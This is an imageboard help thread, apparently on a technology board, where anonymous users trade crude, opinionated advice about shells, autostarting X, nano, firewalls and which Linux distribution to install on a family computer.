What's the best shell? I feel like bash is bloat.

>>61046020
dash is objectively the best perfoming bourne-compatible shell in existence.

>>61046030
I know but how do i autostart xorg with that?

people bw talking about bloat like some kind of abstract art.

>>61046069
Made me chuckle for some reason lol

>>61046062
I can't see why would you have problems autostarting xorg with it.

>>61046101
I don't know but in bash there a config file called .bash_profile and i copied a script that autostarts x .In dash and in other shells i don't know how to autostartx

>>61045969
Is there a way for me to edit that? Sorry, I'm a Windows babby.

>>61046164
you have to change the login shell to dash first.

>>61046164
>i copied a script that autostarts x
You shouldn't do that.

>>61046197
edit what?

>>61046203
I have done that already then what?

>>61046215
It's was on the Gentoo wiki it self XD

https://wiki.gentoo.org/wiki/Start_X_on_login

>>61046229
no clue senpai, I'm not that fucking stupid to use dash as interactive shell, it doesn't even have autocomplete.
Read the documentation.

>>61046258
I recommend doing it only for inexperienced user who can't use console.

>>61046285
Is this the wrong way to autostart x? How would i autostartx ?Btw im a noob..

>>61046223
I was assuming the coordinates of my monitors are saved somewhere in a config file.

>>61046314
You don't want to type autostart yourself?

>>61046314
it's not wrong, per se, but if you are going to autostart X you may as well use a display manager.

>>61046340
Like type startx everytime on login?

>>61046285
>>61046340
What's the problem with that, senpai? You log in in TTY1 if you want X, and in some other TTY if you don't. Sure beats logging in just to type startx right afterwards.

>>61046360
Why not? That's what I do. I don't log every 5 minutes, only after a reboot because of kernel upgrade.

>>61046333
Yeah, you configure them in the Xfce settings. Taskbar will only be on the leftmost display. I thought I explained that clearly.

>>61046384
Idk my only problem is i want to change a shell that can autostartx like bash does :/ Like mksh or something else

>>61046430
All shell have a startup script, just put autostartx in that script.

I just installed ubuntu on my t430. Can I get a link to a basic ufw configuration? I know the commands, what I want to know is, which ports should I open/close for a moderately safe experience?

>>61046523
>ufw
Don't use that shit. Use iptables instead.

>>61046413
And I just have to live with that? Is there no third party software to fix this?

>>61046700
Christ learn to read, I already explained it to you plain as day TWO times.

>>61046716
I'm not very intelligent, sorry to have bothered you.

is there a way to adjust the mouse wheel scroll speed? Nothing seems to work.

>>61046755
Xfce is broken, nothing you can do about it, change window managers, manjaro is shit, end of story

>>61046772
fuck off

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>desktop my family uses (I use my personal desktop, not that you care) runs windows 10
>recently it got stuck in an infinite 'something happened :^(' reboot loop
>tired of windows and having to diagnose problems on that computer
tl;dr what's a good distro for my mom? by that I mean one that looks very similar to an old windows distro

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>>61046875
Trisquel

>>61046875
Debian 9.0 with KDE.

Install it with the Net install and install KDE manually yourself, it is even lighter than Xfce now.

>>61046875
install ubunut

>>61046875
arch + kde

Desktop Environments are not distributions.
Distributions are not desktop environments.

>>61046925
>mom
>arch

>>61046935
wms are desktop environments
desktop environments aren't wms

>>61046937
you think she wants to compile from source just to get the latest packages?

>>61046875
ubuntu kde
or fedora
or debian
who cares
they're all fine
just not arch

>>61046935
Desktop environments are desktop environment distributions.

>>61046959
I can't even tell if you're trolling right now

>>61046875
install an stable distro, Debian 9, so you dont have to worry about maintenance.
with kde.

>>61046967
>ubuntu
botnet
>fedora
redhat/nsa
>debian
systemd
>just not arch
agreed

People should stop acting like a DE is tied to a distro.

-> >>61047006

>>61046999
yes this please

>>61046993
> giving a shit about systemd on mom's pc.

is there ANYTHING I can install?

>>61047032
install gentoo

>>61046875
https://wiki.installgentoo.com/index.php/Babbies_First_Linux

>>61047019
Actually, different anon here, but I'm soon going to migrate my mom's computer to Devuan because Ubuntu has been ignoring our DNS configuration and using who the fuck knows what servers to resolve (I'm guessing google's because of the hardcoded default). Aside from the obvious violation of privacy, this has resulted in her being unable to browse some websites that apparently have been "blocked" at the DNS level. Fuck that, no mother deserves that shit.

what is the best terminal editor for text files?
i want something simple

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>>61046967
yeah I just realized after I made my post that I meant to ask about desktop environments kek

I will probably install ubuntu or fedora on that computer

>>61047070
nano

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Is this all I need to read if I'm coming from windows 10 to debian?

>>61047070
GNU nano, also run vimtutor to get used to vim.

>>61047066
Good job, Devuan is fantastic.

>>61047070
vim it's simple if you read something for 20 minutes, you dount need to be an expert..
if not, use nano.

>>61047084
It's outdated now but a lot of it still applies, I personally stick to the man pages and occasionally refer to the Arch wiki and I also use Debian 9

>>61047082
do you know how to set nano to display line numbers on the left-hand side?

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>>61047122
you should learn how to use man pages.
it's useful.

>>61047081
>builtin vape
fucking head gaskets. kek

>>61046993
>botnet
Mom's pc
>redhat/nsa
Mom's pc
>systemd
Mom's pc

>>61047162
running

nano -l

doesn't do that for me I already tried that

 -l        --nofollow        Don't follow symbolic links, overwrite

>>61047293
what's your nano --version ?

>>61047324
2.2.6

>>61047360
I'm sorry man but your nano is too old.
that feature was added on 2.7 I think?
which distro are you using? that nano is ancient.

>>61047360
>>61047423
yeah wtf
even Debian is on 2.7

just git clone; make it
nano is cool for babbies first compiling

https://www.youtube.com/watch?v=KftuGM_ylKg
But systemd is good

looking for a distro as light as possible while still "friendly" "out-of-the-box". I want to install it on my x200, would switch between i3wm for work/study/""""productivty"""" general, and xfce for whatever other reasons.

I am between
>ubuntu minimall install with xfce and then install i3wm
>fedora xfce spin and then install i3wm
>manjaro xfce spin and then install i3wm

do you have any other recommendation? are there any other 'friendly' distro that have a minimal installation iso? also, is there a way to know how many default packages a distro comes with? thanksxx

>>61048580
Are you sure you need to install i3wm on top of already set-up desktop installation?
You will get a much better result if you ditch the idea of "friendly" distro and pick something like ubuntu server iso and just install the thing you need most (like forementioned i3wm).
Distibution choice will not be as much relevant to the final result as you might think. It's your choices that will influence how "light" your system is. You can bloat a minimal server installation as easy as you can slim down a resource intensive Ubuntu installation.
I would advice against both Fedora and Ubuntu because default installations of both come with various services enabled which are-sometimes-useful-but-not-for-someone-like-you like selinux or apparmor.
Debian should be a good choice, if you have experience with ubuntu you should feel right home but it's definitely more conservative when it comes to including various convenience-over-resource-conservation software.

Backing my words with anecdotal evidence since I was forced to do the same due to aging hardware (10 year old laptop). My debian/devuan installation running openbox and "everyday stuff" like rtorrent, mpd, chromium/iridium with 15+ tabs takes between 800-1000M out of the available 2G of memory. It's still a functioning desktop.

If you're sure you don't give a damn about what I just said, just go for debian xfce and tweak it. They just released a new stable (which you really should keep instead of testing/sid). You can't go wrong with debian.

>>61048400
How the fuck does a daemon crash? Fuck systemd, this shit isn't even remotely necessary.

>>61048400
>Gentoo is a desktop distro
>these have super special server releases that don't have x11 installed by default so they're the only server distros
It literally comes with nothing. What is this dumb cunt doing talking about shit he doesn't understand? You have to fucking manually install desktop shit. It's better for servers than Ubuntu Server Edition(tm).

>>61036719
http://bijo-linux.com/portfolio-cat/g/
No gcc. That's a fraud.